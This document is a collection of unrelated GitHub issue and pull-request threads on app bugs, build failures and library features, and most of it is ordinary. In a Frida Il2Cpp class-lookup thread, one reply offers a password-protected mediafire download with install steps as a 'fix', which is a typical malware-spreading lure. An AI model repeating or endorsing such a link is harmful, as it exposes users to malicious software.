Android: Notifications resent when app is opened and story isn’t marked read

From the forum: https://forum.newsblur.com/t/android-notifications-resent-when-app-is-opened-and-story-isnt-marked-read/8355
Let's get this fixed if we can reproduce it. Figuring out how to reliably reproduce it is key. User reinstalled the app to no avail.

@samuelclay
There is a flag I can set in order to play sounds and/or vibrate only once per notification batch. Basically there won't be a new sound and/or vibration if there are other active notifications already posted from NewsBlur. Sometimes there are multiple audible alerts fired and this flag will solve it.
The other issue with the resent notifications will happen if I get a notification, I don't interact with it at all (save/dismiss/mark read/open), the app gets killed in the background and I reopen the app. The previous flag that I mentioned should fix this too in the sense that the user won't be actually alerted again by the notification. Alternatively I could skip the alert if it's already shown which is probably better.
Another thing that I want to point out is that I can receive notifications for stories that are old (>3d) after I enable notifications for feeds with unread stories. Should we put a limit on the timestamp?

Yep, let's put a limit on the timestamp.

I'll limit them up to 48 hrs


[question] runtime class name diff to dump class name. how can find class

question
What is the class of dunmp
// Scripts. Base
struct SGW.stGdeInfo : System.ValueType{
}
But after hooking to the object, the printed result is SGW+stGdeInfo
And use
Il2Cpp.domain.assembly("Scripts.Base").image.class("SGW.stGdeInfo");
and
Il2Cpp.domain.assembly("Scripts.Base").image.class("SGW+stGdeInfo");
It will always report an error that the class cannot be found
For example, code:
Il2Cpp.perform(() => {
for (const assembly of Il2Cpp.domain.assemblies) {
for (const klass of assembly.image.classes) {
if(klass.name == 'stGdeInfo'){
console.log(klass);
GuideInfoClass=klass;//can be found normally
}
}
}
Var curInfo=Il2Cpp. domain. asply ("Scripts. Base"). image. class ("SGW. stGdeIfo")//Get il2cpp: could not find class SGW. stGdeIfo in assembly scripts Base.dll
Var curInfo2=Il2Cpp. domain. asply ("Scripts. Base"). image.class ("SGW+stGdeIfo")//Get il2cpp: could not find class SGW+stGdeIfo in assembly Scripts Base.dll
});
May I ask how to directly search for class in this situation
Wishing the blogger happiness and health

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

You can try
Var curInfo=Il2Cpp.domain.assembly("Scripts. Base").image.class("SGW").nested("stGdeIfo")

You can try Var curInfo=Il2Cpp.domain.assembly("Scripts. Base").image.class("SGW").nested("stGdeIfo")
thanks

Learned it
ge t nested


Bug: Drag and Drop: Drag Preview not shown

Do you want to request a feature or report a bug?
Bug
What's the current behavior?
As you very slowly drag a calendar entry (i.e. directly down), it will enter the interacted state and hide itself (opacity: 0 CSS rule), but the drag preview (rendered by EventContainerWrapper) will not display until you drag the event a bit farther.  This causes an undesirable effect from a UI perspective, but it can also cause the drag and drop code to enter an unexpected state.
It is possible if you drag very little and very quickly (i.e. double click a lot while slightly dragging) that the event will disappear even though you don't have the left mouse button down anymore.  This is because the DnD addon thinks we are still in "drag mode", but we're actually not anymore.
My hunch is that the event handlers on the selector in the _selectable function in EventContainerWrapper need to consider this edge case somehow.
I'm running Chromium Version 71
Sample of broken behavior: http://intljusticemission.github.io/react-big-calendar/examples/index.html#dnd (go to weekly view and drag and drop as described above)
What's the expected behavior?
It would be nice if the drag preview was shown immediately (i.e. as soon as the interacting state is entered by the EventWrapper) using the event start/end date of the event currently being dragged... before the selector's selecting event calls handleMove or handleResize in EventContainerWrapper.  See here: https://github.com/intljusticemission/react-big-calendar/blob/master/src/addons/dragAndDrop/EventContainerWrapper.js#L136-L142
My hunch is that the event handler for 'selectStart` needs to be updated.
https://github.com/intljusticemission/react-big-calendar/blob/master/src/addons/dragAndDrop/EventContainerWrapper.js#L144
This is just one implementation idea... there are probably others, perhaps far better ones.
Thanks in advance for a really cool calendar component!  Fixing this bug will help everyone using DnD.  If you need any help from me, I'd be happy to submit a PR.  I just need some pointers on how I should go about fixing it.

You described the calendar entering an unexpected state here. I have not exactly a similar issue but maybe a related issue nonetheless in #1227.

Anyone have any ideas why this might happen?  This is still an issue, and I can make a video to prove it if needed.

Apparently no one cares... oh well... the bug doesn't happen often anyway. I'd love to help fix, but I'm not exactly sure where to start.


Uncaught TypeError: Cannot read property 'silentRetokenizeLines' of undefined

[Enter steps to reproduce below:]

Click the gray pencil icon on the status bar

Atom Version: 1.8.0
System: Mac OS X 10.11.5
Thrown From: omnisharp-atom package, v0.30.4
Stack Trace
Uncaught TypeError: Cannot read property 'silentRetokenizeLines' of undefined
At /Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:61

TypeError: Cannot read property 'silentRetokenizeLines' of undefined
    at /Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/dist/features/highlight-v1.9.js:138:43
    at SafeSubscriber._next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/dist/server/omni.js:499:17)
    at SafeSubscriber.__tryOrSetError (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:232:16)
    at SafeSubscriber.next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:174:27)
    at Subscriber._next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:125:26)
    at Subscriber.next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at FilterSubscriber._next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/operator/filter.js:88:30)
    at FilterSubscriber.Subscriber.next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at RefCountSubscriber.Subscriber._next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:125:26)
    at RefCountSubscriber.Subscriber.next (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at ReplaySubject._subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/ReplaySubject.js:38:24)
    at ReplaySubject.Observable.subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:56:27)
    at ConnectableObservable._subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/observable/ConnectableObservable.js:23:34)
    at ConnectableObservable.Observable.subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:56:27)
    at Observable._subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:114:28)
    at RefCountOperator.call (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/observable/ConnectableObservable.js:91:35)
    at Observable.subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:53:22)
    at Observable._subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:114:28)
    at FilterOperator.call (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/operator/filter.js:58:23)
    at Observable.subscribe (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/node_modules/rxjs/Observable.js:53:22)
    at OmniManager.switchActiveEditor (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/dist/server/omni.js:488:16)
    at Highlight.activate (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/dist/features/highlight-v1.9.js:136:28)
    at /Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/dist/omnisharp-atom.js:307:35
    at /Applications/Atom.app/Contents/Resources/app.asar/src/config.js:614:16
    at /Applications/Atom.app/Contents/Resources/app.asar/src/config.js:631:20
    at Function.module.exports.Emitter.simpleDispatch (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/event-kit/lib/emitter.js:25:14)
    at Emitter.module.exports.Emitter.emit (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/event-kit/lib/emitter.js:125:28)
    at Config.module.exports.Config.emitChangeEvent (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:816:29)
    at Config.module.exports.Config.setRawValue (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:608:19)
    at Config.module.exports.Config.set (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:227:14)
    at HTMLSpanElement.view.onclick (/Users/Murriouz/Dropbox/Preferences/Atom/packages/omnisharp-atom/dist/atom/feature-buttons.js:102:36)

Commands

Config
{
  "core": {
    "disabledPackages": [
      "spell-check",
      "metrics",
      "background-tips",
      "atom-typescript",
      "react",
      "file-type-icons",
      "unfancy-file-icons",
      "advanced-open-file",
      "atom-yeoman",
      "json-schema"
    ],
    "ignoredNames": [
      ".git",
      ".hg",
      ".svn",
      ".DS_Store",
      "._*",
      "Thumbs.db",
      "*.meta"
    ],
    "projectHome": "/Users/Murriouz/Developer",
    "themes": [
      "dark-bint-ui",
      "dark-bint-syntax"
    ]
  },
  "omnisharp-atom": {
    "enhancedHighlighting": true,
    "signatureHelp": true,
    "useLeftLabelColumnForSuggestions": true,
    "enhancedHighlighting19": true
  }
}

Installed Packages
# User
atom-formatter-jsbeautify, v1.1.2
atom-ternjs, v0.14.2
autocomplete-paths, v1.0.2
dark-bint-syntax, v0.8.9
dark-bint-ui, v0.5.2
formatter, v2.12.3
language-babel, v2.29.2
linter, v1.11.14
linter-eslint, v7.2.4
minimap, v4.24.6
minimap-cursorline, v0.2.0
minimap-find-and-replace, v4.5.1
minimap-git-diff, v4.3.1
minimap-highlight-selected, v4.4.0
minimap-linter, v1.1.1
minimap-pigments, v0.2.1
minimap-selection, v4.4.0
omnisharp-atom, v0.30.4
pigments, v0.30.0
selection-highlight, v0.1.5
terminal-plus, v0.14.5

# Dev
No dev packages

I'm havint eh same issue on a net core project

Same here

Starting OmniSharp server (pid:undefined)
OmniSharp Location: /home/edo/.atom/packages/omnisharp-atom/node_modules/omnisharp-client/omnisharp-ubuntu-x64-netcoreapp1.0/OmniSharp
Change the location that OmniSharp is loaded from by setting the OMNISHARP environment variable
OmniSharp Path: /home/edo/IO/Test/Test/Test.sln
Failed to initialize CoreCLR, HRESULT: 0x80131500

Uncaught TypeError: Cannot read property 'silentRetokenizeLines' of undefined

TypeError: Cannot read property 'silentRetokenizeLines' of undefined
    at /home/edo/.atom/packages/omnisharp-atom/dist/features/highlight-v1.9.js:138:43
    at SafeSubscriber._next (/home/edo/.atom/packages/omnisharp-atom/dist/server/omni.js:499:17)
    at SafeSubscriber.__tryOrUnsub (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:223:16)
    at SafeSubscriber.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:172:22)
    at Subscriber._next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:125:26)
    at Subscriber.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at FilterSubscriber._next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/operator/filter.js:88:30)
    at FilterSubscriber.Subscriber.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at RefCountSubscriber.Subscriber._next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:125:26)
    at RefCountSubscriber.Subscriber.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at ReplaySubject.Subject.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subject.js:55:25)
    at ReplaySubject.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/ReplaySubject.js:28:31)
    at ConnectableSubscriber.Subscriber._next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:125:26)
    at ConnectableSubscriber.Subscriber.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at MapSubscriber._next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/operator/map.js:82:26)
    at MapSubscriber.Subscriber.next (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/Subscriber.js:89:18)
    at DebounceTimeSubscriber.debouncedNext (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/operator/debounceTime.js:98:30)
    at FutureAction.dispatchNext (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/operator/debounceTime.js:114:16)
    at FutureAction.execute (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/scheduler/FutureAction.js:28:22)
    at AsyncScheduler.QueueScheduler.flush (/home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/scheduler/QueueScheduler.js:21:20)
    at /home/edo/.atom/packages/omnisharp-atom/node_modules/rxjs/scheduler/FutureAction.js:93:23


Automatic Fixes: bazel compilation-mode was not respected.

If we first run bazel build -c opt --config=dwyu //somepath/... then followed by a bazel run -c opt @depend_on_what_you_use//:apply_fixes -- --workspace=/path/to/my/project, apply fixes won't try to glob xxx_dwyu_report.json files under the actual bazel-bin directory:
ls -ld bazel-bin
lrwxrwxrwx 1 story story 93 May  8 17:30 bazel-bin -> /home/story/.cache/bazel/5f6cfd791ed6436cd7d0a9ad06515f99/execroot/com_qcraft/bazel-out/k8-opt/bin

shows that it was symlinked to some xxx/k8-opt/bin directory
However,  the directory from running bazel info bazel-bin was xxx/k8-fastbuild/bin (See below).
$ bazel info bazel-bin
/home/story/.cache/bazel/5f6cfd791ed6436cd7d0a9ad06515f99/execroot/com_qcraft/bazel-out/k8-fastbuild/bin

Shall we use readlink bazel-bin rather than bazel info bazel-bin to locate the actual bazel-bin directory ?

The straight forward solution is to drop -c opt from the build command for running the aspect. The --compilation-mode option has has no influence on the aspect besides changing which bazel-out sub directory is being used.
DWYU is a static analyzer which does not execute any compilation action.
I see however, how one can easily stumble into this pitfall. The compilation mode could be hidden behind a config or set in a .bazelrc file, making the problem potentially hard to understand. Or one simply uses the compilation mode out of habit because it is relevant for all the normal build commands one executes regularly.
Regarding your proposed solution.
I am not in favor of the readlinks approach:

It reduces the portability of DWYU. The readlinks tool is not available on all common platforms.
The convenience symlinks into bazel-out are not stable.

One can control they are created / updated at all through the flag --experimental_convenience_symlinks.
Users can change the name of those symlinks via --symlink_prefix.

As said above I do understand that this is a pitfall and it should be mitigated.
My proposal are the following steps:

Extend the documentation to mention explicitly that no compilation mode has to be specified for using DWYU.
Offer a CLI flag for the apply_fixes tool for providing a path directly to the bazel-out path which should be used by the tool. While this is not very convenient for the user, it offers maximum flexibility for all cases where for whatever reason DWYU was not used with fastbuild. This would also be a solution for cases where users do use multiple output bases via --output_base.
The apply_fixes tool should return with an error if no DWYU report files can be discovered. Printing a warning about the most likely causes: "Did not run DWYU beforehand" or "Mixed up compilation mode / output base". This should make it less likely that the tool silently does nothing and the user is surprised by no problem being fixed.

Would those mitigations work for you?

If portability is a concern, I agree that readlink is not a good idea. And I agree with your ideas to mitigate this pitfall.
I would like to mention that, currently, if we run two apply_fixes consecutively without re-running DWYU in between, the later would probably fail since we didn't remove/"consume" existing DWYU reports after the fix. Maybe we can file another issue to discuss this situation.

I am closing this issue. With https://github.com/martis42/depend_on_what_you_use/pull/47 most reported points should be mitigated.
I changed my opinion regarding your initial request. Creating the convenience symlinks at the workspace root is the default Bazel behavior and thus it makes sense that the apply_fixes default behavior depends on it.
There have been several changes:

One no longer has to provide --workspace if one invokes apply_fixes from the target workspace. The workspace root is deduced automatically.
The output directory is deduced by following the bazel-bin convenience symlink.
Alternative options for discovering the output directory are available, see the help.

@storypku
It would be great if you could test the latest apply_fixes version. Is it now behaving in a convenient manner?


Allow browser fields in settings

Summary
It can be useful to add browser fields to a settings page, currently, this is not possible.
A workaround is mentioned in #743
Describe the solution you'd like
We should check to see if we can make browser fields work in the settings.

Closed in favour of #1238


Init 22.06.0-SNAPSHOT [databricks]

Signed-off-by: Peixin Li<EMAIL_ADDRESS>initiate 22.06.0-SNAPSHOT version, dep on https://github.com/rapidsai/cudf/pull/10467

build

build


simpleyaml: support floating type numbers

This change introduces support for floating type numbers in simpleyaml.

thanks~


Create formatted error page

As a user, I should see a nice, informative error page if I go to a page that does not exist.
Currently I see:

Will copy this design for now, but with TIKI logo and purple background:

Acceptance Crit-

When I go to a page that does not exist,  I am presented with a screen analogous to the one in the second screenshot.

Finished - feedback on design potentially needed. I like the simplicity/cleaness of a white background (having it all purple was a bit much), but don't love what I have. seemed pretty inconsequential though so just moved on.


registry support cors

docker registry not support cors now

https://github.com/alibaba/sealer/tree/main/cloud/dashboard#init-registry  using nginx proxy.


feat: add map_activations_fn param in ConceptMatcher

This PR adds an optional param map_activations_fn which can be used to modify the extracted activations in ConceptMatcher to allow things like SAEs.

https://github.com/huggingface/transformers/pull/31172 this commit breaks the Jacobian calculation in GPT2, not sure why


python310Packages.cyclonedx-python-lib: 2.4.0 -> 2.5.1

Description of changes

https://github.com/CycloneDX/cyclonedx-python-lib/releases/tag/v2.5.1
https://github.com/CycloneDX/cyclonedx-python-lib/releases/tag/v2.5.0

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 177344 run on x86_64-linux 1

4 packages built:

checkov
pip-audit
python310Packages.cyclonedx-python-lib
python39Packages.cyclonedx-python-lib


[test-triage] chip_sw_sram_ctrl_scrambled_access

Hierarchy of regression failure
Chip Level
Failure Description
UVM_ERROR @ 4399.724850 us: (sw_logger_if.sv:523) [sram_ctrl_scrambled_access_test_prog_sim_dv(sw/device/tests/sim_dv/sram_ctrl_scrambled_access_test.c:278)] CHECK-fail: mem_frame->backdoor does not match kBackdoorExpectedWords
UVM_INFO @ 4399.724850 us: (uvm_report_catcher.svh:705) [UVM/REPORT/CATCHER]
Steps to Reproduce
Only 1/3 seeds fail

GitHub Revision: b85591cac
dvsim invocation command to reproduce the failure, inclusive of build and run seeds:
./util/dvsim/dvsim.py hw/top_earlgrey/dv/chip_sim_cfg.hjson -i chip_sw_sram_ctrl_scrambled_access --build-seed<PHONE_NUMBER> --fixed-seed 984556768 --waves fsdb

Tests with similar or related failures

[ ] chip_sw_sram_ctrl_main_scrambled_access_jitter_en
[ ] chip_sw_sram_ctrl_scrambled_access

The test fails sometimes when the random backdoor address in the retention SRAM contains the address 0x406007fc due to the test_rom initialization.
https://github.com/lowRISC/opentitan/blob/4667c741f0aa8c79d5074fc6e4b2e097ea057707/sw/device/lib/testing/test_rom/test_rom.c#L144-L148


Add options to the Add Gradle Enterprise Maven recipe

Follow up on https://github.com/openrewrite/rewrite/pull/3193#discussion_r1184183668
This PR adds some optional settings:

captureGoalInputFiles
uploadInBackground
publishCriteria

An optional setting not set will not result in a xml element in the gradle-enterprise.xml configuration, this is implemented by using Jackson xml instead of plain string formatting.

And thank you for this improvement; I'm going to merge this one as it is; if there's any feedback from Kun we can pick that up separately, as we did after the last one.


Fix incorrect Extra-Source-Files entry for the README

@iand675 I think this is intented to be done agains the original repo, not my fork, right?

Well the original repo seems to be stagnant, so I'm using your fork via stack at the moment. Until that repo catches up, it seemed like you might want it since it causes stack to stop emitting warnings.

Ah, sure then, no prob


Failed to build a release version of the application after upgrade to flutter v1.12.13+hotfix.5

After switching to flutter v1.12.13 + hotfix.5, a problem arose: an error was generated when building the release version of the application. At the same time, there are no problems when building and running the debug version. Trace is given below:

logs
micrcx@micrcx-desktop:~/IdeaProjects/hsm_e_editor$ ./../../flutter/bin/flutter run --release
Launching lib/main.dart on LG V520 in release mode...

FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':path_provider:verifyReleaseResources'.
> java.util.concurrent.ExecutionException: com.android.builder.internal.aapt.v2.Aapt2Exception: Android resource linking failed
  Output:  /home/micrcx/IdeaProjects/hsm_e_editor/build/path_provider/intermediates/res/merged/release/values/values.xml:186: error: resource android:attr/fontVariationSettings not found.
  /home/micrcx/IdeaProjects/hsm_e_editor/build/path_provider/intermediates/res/merged/release/values/values.xml:187: error: resource android:attr/ttcIndex not found.
  error: failed linking references.

   Run with --info or --debug option to get more log output. Run with --scan to get full insights.

* Get more help at https://help.gradle.org

BUILD FAILED in 20s
Running Gradle task 'assembleRelease'...
Running Gradle task 'assembleRelease'... Done                      21.5s
The built failed likely due to AndroidX incompatibilities in a plugin. The tool is about to try using
Jetfier to solve the incompatibility.
Building plugin path_provider...
Running Gradle task 'assembleAarRelease'...
Running Gradle task 'assembleAarRelease'... Done                    0.6s

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring root project 'path_provider'.
> SDK location not found. Define location with sdk.dir in the local.properties file or with an ANDROID_HOME environment variable.

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights.

* Get more help at https://help.gradle.org

BUILD FAILED in 0s

The plugin path_provider could not be built due to the issue above.
micrcx@micrcx-desktop:~/IdeaProjects/hsm_e_editor$

Flutter doctor:
/home/micrcx/flutter/bin/flutter doctor --verbose
[✓] Flutter (Channel stable, v1.12.13+hotfix.5, on Linux, locale en_IL)
    • Flutter version 1.12.13+hotfix.5 at /home/micrcx/flutter
    • Framework revision 27321ebbad (9 days ago), 2019-12-10 18:15:01 -0800
    • Engine revision 2994f7e1e6
    • Dart version 2.7.0

[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
    • Android SDK at /home/micrcx/Android/Sdk
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-29, build-tools 29.0.2
    • Java binary at: /home/micrcx/android-studio/jre/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405)
    • All Android licenses accepted.

[✓] Android Studio (version 3.5)
    • Android Studio at /home/micrcx/android-studio
    • Flutter plugin version 42.1.1
    • Dart plugin version 191.8593
    • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405)

[✓] IntelliJ IDEA Community Edition (version 2019.3)
    • IntelliJ at /home/micrcx/idea-IC-191.6707.61
    • Flutter plugin version 42.1.4
    • Dart plugin version 193.5731

[✓] VS Code (version 1.41.1)
    • VS Code at /usr/share/code
    • Flutter extension version 3.5.1

[✓] Connected device (1 available)
    • LG V520 • LGV5203c426e47 • android-arm • Android 7.0 (API 24)

• No issues found!
Process finished with exit code 0

Hi @micrcx
can you please run
flutter clean
flutter pub cache repair
let me know if this solves the issue
thank you

Add WidgetsFlutterBinding.ensureInitialized(); before runApp call.
void main() {
    WidgetsFlutterBinding.ensureInitialized();
    runApp(YourApp());
}

Unfortunately your advice did not help. I reinstalled all packages, but this did not help:
micrcx@micrcx-desktop:~/IdeaProjects/hsm_e_editor$ ./../../flutter/bin/flutter clean
micrcx@micrcx-desktop:~/IdeaProjects/hsm_e_editor$ ./../../flutter/bin/flutter pub cache repair
Resetting Git repository for todos_app_core 0.0.0...
Resetting Git repository for todos_repository_core 0.0.0...
Downloading analyzer 0.33.3...
Downloading analyzer 0.35.1...
.......................................................................................................
Downloading yaml 2.1.16...
Downloading yaml 2.2.0...
Reinstalled 339 packages.
micrcx@micrcx-desktop:~/IdeaProjects/hsm_e_editor$

The result is the same. But anyway, thanks for trying to help.

Hi @micrcx
can you please run
flutter clean
flutter pub cache repair
let me know if this solves the issue
thank you

Add WidgetsFlutterBinding.ensureInitialized(); before runApp call.
void main() {
    WidgetsFlutterBinding.ensureInitialized();
    runApp(YourApp());
}

Of course, I followed your advice, but nothing has changed and could not change: how can the procedure inside the code affect the result of compilation and construction? This is nonsense.
Regards,
Mk

Excuse me?! What's nonsense?

Excuse me?! What's nonsense?

You can explain how can an additional function call inside the code on dart affect the assembly of the application by a third-party program called flutter? And I've checked your advice, don't worry - the effect is zero. By the way, I would be very much surprised if your advice would help: I do not believe in miracles and mysticism.

@micrcx Which path_provider version are you using? If you're not on the latest, try upgrading and running flutter clean again.
To answer the last comment, you call WidgetsFlutterBinding.ensureInitialized() to initialize the WidgetsFlutterBinding which binds the framework to the engine. This is normally done internally within the runApp method, but if you're using any plugins before calling runApp, you need to initialize it first.

@micrcx Which path_provider version are you using? If you're not on the latest, try upgrading and running flutter clean again.
To answer the last comment, you call WidgetsFlutterBinding.ensureInitialized() to initialize the WidgetsFlutterBinding which binds the framework to the engine. This is normally done internally within the runApp method, but if you're using any plugins before calling runApp, you need to initialize it first. Should not be your issue here though.

You were right. As soon as I replaced path_provider ^0.4.1 with path_provider ^1.5.1, the problem of building of release disappeared. Unfortunately path_provider ^1.5.1 works differently than ^0.4.1, but this is another problem. Many thanks.

@micrcx -please refrain from disparaging comments towards people who are trying to help you. They have no place in this community.

Did you migrate your project to Android X?  It sounds like the tool is having trouble building older versions of path_provider in an AndroidX compatible way.
Your best bet is likely to upgrade path_provider. It may be possible to follow these instructions:
* What went wrong:
A problem occurred configuring root project 'path_provider'.
> SDK location not found. Define location with sdk.dir in the local.properties file or with an ANDROID_HOME environment variable.

before running the build again, but I would probably shoot for upgrading the plugin.

Without additional information, we are unfortunately not sure how to resolve this issue. We are therefore reluctantly going to close this bug for now. Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.
Could everyone who still has this problem please file a new issue with the exact descriptions what happens, logs and the output of 'flutter doctor -v'  please.
All system setups can be slightly different so it's always better to open new issues and reference related issues.


Fix #4628: Add more appropriate typing for CUDA device arrays

As reported in Issue #4628, CUDA device arrays are always typed with 'A' layout - this is sub-optimal, as all generated code accessing them will need to use strides passed in at launch time instead of being hardcoded constants in the kernel. This commit adds more appropriate typing for device arrays.
The choice of layout when typing is governed by the following considerations:

The preference is to use 'C' or 'F' layout since this enables hardcoding stride values into compiled kernels.

If an array is both C- and F-contiguous, prefer 'C' layout as it's the more likely / common case.

If an array is broadcast then it must be typed as 'A' - using 'C' or 'F' does not apply for broadcast arrays, because the strides, some of which will be 0, will not match those hardcoded in for 'C' or 'F' layouts.

Passed internal CI

NOTE TO MERGER: Close this https://github.com/numba/numba/issues/4628
Closes #4628


Add config file controller to support get config as plain properties file

Changes Unknown when pulling f435f27d3403ea14d0c9af2f337f306cc4b31cf2 on nobodyiam:config-as-file-merge into ** on ctripcorp:master**.


Mat 4545 improving test coverage

CQL to ELM Translation Service PR
Jira Ticket: MAT-4545
(Optional) Related Tickets:
Summary
Increasing Test Coverage.. over 70%
All Submissions

[X] This PR has the JIRA linked.
[X] Required tests are included.
[X] No extemporaneous files are included (i.e Complied files or testing results).
[X] This PR is merging into the correct branch.
[X] All Documentation needed for this PR is Complete (or noted in a TODO or other Ticket).
[ ] Any breaking changes or failing automations are noted by placing a comment on this PR.

DevSecOps
If there is a question if this PR has a security or infrastructure impact, please contact the Security or DevOps engineer assigned to this project to discuss it further.

[ ] This PR has NO significant security impact (i.e Changing auth methods, Adding a new user type, Adding a required but vulnerable package).

Reviewers
By Approving this PR you are attesting to the following:

Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose.
The tests appropriately test the new code, including edge cases.
If you have any concerns they are brought up either to the developer assigned, security engineer, or leads.

I can't comment on the file but looks like this is unwanted file cql-elm-translation.log.2023-10-19.0430340818722708.tmp that is causing some gitleaks. Can be removed if not required.


error cannot find type definition file with typescript 4.5

another related issue vite-plugin-pages

see https://github.com/antfu/unplugin-icons#frameworks, expand Vue3:
// tsconfig.json
{
  "compilerOptions": {
    "types": [
      "unplugin-icons/types/vue",
    ]
  }
}

see https://github.com/antfu/unplugin-icons#frameworks, expand Vue3:

// tsconfig.json

{

  "compilerOptions": {

    "types": [

      "unplugin-icons/types/vue",

    ]

  }

}

yes already did that and still got the error. like i said its okay with typescript v4.4.x and will only occur on typescript 4.5.x

Same issue for me, typescript 4.5.2 failed with build errors  Cannot find module '~icons/...' or its corresponding type declarations.
Had to revert to typescript 4.4.4 to resolve the issue

ok, I'll take a look later...

@zynth17 @mythz I'll craete a project from vitesse template and update ts dep to check this, stay turned, later I'll update the docs

There is something wrong on the types, we need to review them.
@antfu see this, it seems we need to update the package.json, something  has changed (also applies to vite-plugin-pages/client):
======== Resolving type reference directive 'unplugin-icons/types/vue', containing file 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5/__inferred type names__.ts', root directory 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5/node_modules/@types'. ========
Resolving with primary search path 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5/node_modules/@types'.
Directory 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5/node_modules/@types/unplugin-icons/types' does not exist, skipping all lookups in it.
Looking up in 'node_modules' folder, initial location 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5'.
